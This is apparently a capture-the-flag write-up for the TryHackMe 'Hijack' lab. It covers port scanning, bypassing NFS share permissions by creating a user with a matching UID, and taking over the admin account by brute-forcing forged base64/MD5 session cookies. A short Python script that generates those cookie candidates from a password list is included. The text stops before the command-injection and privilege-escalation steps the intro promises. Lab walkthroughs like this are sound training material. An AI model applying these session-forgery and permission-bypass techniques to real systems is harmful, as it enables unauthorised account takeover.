TryHackMe : HiJack[Account Takeover]

5 min readOct 22, 2023

Intro : Hello all Hackers! Welcom to my New Article on TryHackMe CTF Hijack. It is a Really Interesting Machine with Hijacking Admin Panel, Command Injection and Linux Privilege Escalation with Environment Variables. So let’s jump into it.

Nmap Scan :

As usual we start with a Normal Nmap Scan. It gives us 4 Ports are Open : 22(ssh), 80(http), 21(FTP), 111(rcpbind).

NFS Share:

So from this result it is clear that we have no FTP Anonymous Access. But in PORT 111 we can see nfs share is available. So we can mount some Folder from Victim’s machine to our VM.

So it is /mnt/share. We cloned it in our /tmp/share Folder. But when we try to Access it : Permission Denied. :)

The reason is uid & gid is different : 1003.

So we have to make a New User with that id to Access it.

Now we can easily access to that Folder. There is text File which reveals the FTP Username and Password.

So I use those and access FTP service. Here I downloaded all Important File in My VM.

Here I find a Password List and also a Text File from Admin saying that : Prevention of Brute Forcing Attack.

Web Explotation :

So I Visit the Web-Page. Though there is a Login page but we cannot use Brute Force Attack in Admin Account because of Brute Attack Prevention.

So I make a Regular Account with test:password and Login with that Creds.

I also Intercept the Request in Burp Repeater where I found the Real Hack.

I saw the PHPSESSID which is Base64 Encoded. I decode it.

It is my Username and my Password which is in MD5 Hash Format.

So what we can Try : admin : <convert_given_pass_into_md5> [Encode total into Base64] and try one by one for Admin Panel Access [Intruder Attack]. I make a Script to do this with Help of ChatGpt.

import hashlib
import base64

def md5_hash_password(password):
    md5 = hashlib.md5()
    md5.update(password.encode('utf-8'))
    return md5.hexdigest()

# Replace 'passwords.txt' with the path to your own Password File
password_file = 'passwords.txt'

# Open the file and read passwords line by line
with open(password_file, 'r') as file:
    passwords = [line.strip() for line in file]

# Create a list to store the formatted and base64-encoded entries
output_list = []

for password in passwords:
    hashed_password = md5_hash_password(password)
    formatted_entry = f'admin:{hashed_password}'
    output_list.append(formatted_entry)

# Save the output to 'output.txt'
with open('output.txt', 'w') as output_file:
    for entry in output_list:
        # Encode the entry in base64
        encoded_entry = base64.b64encode(entry.encode('utf-8')).decode('utf-8')
        output_file.write(encoded_entry + '\n')